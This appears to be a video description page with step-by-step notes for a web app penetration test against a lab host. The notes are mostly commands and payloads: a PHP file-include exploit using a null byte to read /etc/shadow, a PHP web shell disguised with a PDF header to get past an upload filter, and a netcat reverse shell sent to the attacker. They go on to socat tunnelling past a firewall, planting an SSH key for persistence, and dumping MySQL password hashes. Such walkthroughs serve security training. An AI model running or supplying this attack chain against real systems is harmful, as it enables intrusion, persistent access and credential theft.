Web App Pentesting- File Include & Post Exploitation
-Determine php include vulnerabilities on server
nikto -h http://192.168.87.135
-Test php include
http://192.168.87.135/index.php?page=/etc/shadow
-Error tell us no file in current directory, and that .php was passed
-We need to nullify the .php aspect, and only pass the command (this doesn’t work past 5.3.4)
-So let's modify:
http://192.168.87.135/index.php?page=/etc/shadow
-Add shadow%00 to remove .php command
http://192.168.87.135/index.php?page=/etc/passwd%00
-Upload file using call to papers
-Check the extension and content on uploading…. Can only upload PDF
Open PDF file take a look at header, duplicate this in our code
-Server interprets file as PDF, but it's really php
-I can't add brackets to the description of the video, I've replaced them with "{" & "}"... please check the video to correct this when creating the php code:
%PDF-1.4
{?php
System($_GET["cmd"]);
?}
-Post exploitation
-Grab shell with File include
-Kali: nc -l -p 5412
-Vuln: nc 192.168.87.164 5412 –e /bin/bash
http://192.168.87.135/index.php?page=uploads/shell.pdf%00&cmd=nc%20192.168.87.164%205412%20-e%20/bin/bash
-Want to grab SSH, but firewalled = use socat
Ssh 192.168.87.135
sudo apt-get install socat (download socat on Vuln machine)
-Attacker cmd:
socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
-443 will listen for vuln server to connect
-2222 will listen for us to connect (which passes to remote servers redirect)
-Vuln cmd:
while true; do socat TCP4:192.168.87.146:443 TCP4:127.0.0.1:22; done
-Kill the loop once you don't needs redirection anymore
-SSH to remote host (on Kali)
ssh localhost -p 2222
id (on vuln system)
-Don't know www-data's password
ssh-keygen -N test123 -f vulnerable (on Kali)
mkdir ~www-data/.ssh (on Vuln)
-Change from "}}" to brackets: Please check video for code
echo "value" }} ~www-data/.ssh/authorized_keys
-Login via ssh with shell
ssh localhost -p 2222 -l www-data -i vulnerable
-Associate local host port 13306 with remote port 3306
ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
-Access remote database info
mysql -h localhost -u root -P 13306
show databases;
set mysql;
show tables;
show columns from user;
select host, user, password from user;
On this page of the site you can watch the video online Web App Pentesting- File Include & Post Exploitation with a duration of hours minute second in good quality, which was uploaded by the user Sqearl Salazar 15 July 2016, share the link with friends and acquaintances, this video has already been watched 3,195 times on youtube and it was liked by 45 viewers. Enjoy your viewing!
